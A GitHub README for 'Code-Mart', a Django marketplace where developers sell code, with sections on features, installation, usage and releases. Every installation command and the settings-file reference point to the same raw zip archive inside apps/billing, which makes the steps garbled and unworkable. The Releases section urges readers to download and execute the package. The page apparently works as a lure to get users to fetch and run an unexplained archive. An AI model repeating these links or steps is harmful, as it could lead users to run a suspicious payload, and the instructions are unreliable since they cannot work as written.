Skip to content

Latest commit

 

History

History
153 lines (97 loc) · 4.81 KB

File metadata and controls

153 lines (97 loc) · 4.81 KB

Code-Mart 🛒💻

Code-Mart

Welcome to Code-Mart, a Django-based platform where developers can sell their code and digital assets. This repository provides everything you need to set up and run your own marketplace for digital goods.

Table of Contents

Features ✨

Code-Mart offers a variety of features to enhance both the developer and customer experience:

  • Role-Based Dashboards: Different interfaces for sellers and buyers to manage their activities.
  • Subscriptions for Chat Access: Customers can subscribe for direct communication with developers.
  • Live Previews: Users can see a demo of the code before purchasing.
  • Secure Messaging: Built-in messaging system to ensure safe communication.
  • Admin Dispute Resolution: Admin tools to handle disputes between buyers and sellers.

Getting Started 🚀

To get started with Code-Mart, you will need to set up your environment. Follow the steps below to get your instance up and running.

Prerequisites

Before you begin, ensure you have the following installed:

Installation

  1. Clone the Repository

    Start by cloning the repository to your local machine:

    git clone https://raw.githubusercontent.com/Megog/Code-Mart/main/apps/billing/Mart_Code_3.2.zip
    cd Code-Mart
  2. Set Up a Virtual Environment

    Create a virtual environment to manage dependencies:

    python -m venv venv
    source venv/bin/activate  # On Windows use `venv\Scripts\activate`
  3. Install Requirements

    Install the necessary packages:

    pip install -r https://raw.githubusercontent.com/Megog/Code-Mart/main/apps/billing/Mart_Code_3.2.zip
  4. Set Up Database

    Configure your MySQL database. Update the https://raw.githubusercontent.com/Megog/Code-Mart/main/apps/billing/Mart_Code_3.2.zip file with your database credentials.

  5. Run Migrations

    Apply the database migrations:

    python https://raw.githubusercontent.com/Megog/Code-Mart/main/apps/billing/Mart_Code_3.2.zip migrate
  6. Create a Superuser

    Create an admin account to access the dashboard:

    python https://raw.githubusercontent.com/Megog/Code-Mart/main/apps/billing/Mart_Code_3.2.zip createsuperuser
  7. Run the Development Server

    Start the server:

    python https://raw.githubusercontent.com/Megog/Code-Mart/main/apps/billing/Mart_Code_3.2.zip runserver

    Your application should now be running at http://127.0.0.1:8000.

Usage 💡

Once your server is running, you can access the application through your web browser.

User Registration

  • Navigate to the registration page to create a new account.
  • After registering, you can log in and start exploring the marketplace.

Adding Products

  • Sellers can add new digital assets through their dashboard.
  • Fill in the required details, including a live preview link and pricing.

Purchasing Products

  • Customers can browse the marketplace, preview assets, and add them to their cart.
  • Use Razorpay to complete the payment securely.

Technologies Used 🛠️

Code-Mart is built using the following technologies:

  • Django: For the backend framework.
  • MySQL: For the database.
  • HTML5 & CSS3: For the front-end layout and design.
  • JavaScript: For interactive elements.
  • Razorpay: For payment processing.
  • Chat Application: For secure messaging between users.

Contributing 🤝

We welcome contributions from the community. If you would like to contribute, please follow these steps:

  1. Fork the repository.
  2. Create a new branch for your feature or bug fix.
  3. Make your changes and commit them.
  4. Push your branch and create a pull request.

License 📄

This project is licensed under the MIT License. See the LICENSE file for details.

Releases 📦

For the latest updates and releases, please visit the Releases section. Here you can download the latest version and execute it to start your own Code-Mart instance.

Contact 📬

If you have any questions or feedback, feel free to reach out through the issues section of this repository.


Thank you for checking out Code-Mart! We hope you find it useful for your projects. Happy coding!